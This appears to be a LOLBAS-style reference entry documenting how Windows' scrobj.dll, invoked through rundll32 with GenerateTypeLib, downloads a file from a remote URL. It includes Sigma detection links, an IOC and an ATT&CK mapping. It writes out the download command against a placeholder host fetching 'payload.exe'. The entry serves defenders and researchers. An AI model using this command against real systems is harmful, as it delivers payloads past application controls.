.. /Scrobj.dll

Star

Paths:

• c:\windows\system32\scrobj.dll
• c:\windows\syswow64\scrobj.dll

Resources:

• https://twitter.com/eral4m/status/1479106975967240209

Acknowledgements:

• Eral4m (@eral4m)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
• IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line

Download

1. Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe.

   rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib http://x.x.x.x/payload.exe

   Use case

   Download file from remote location.

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"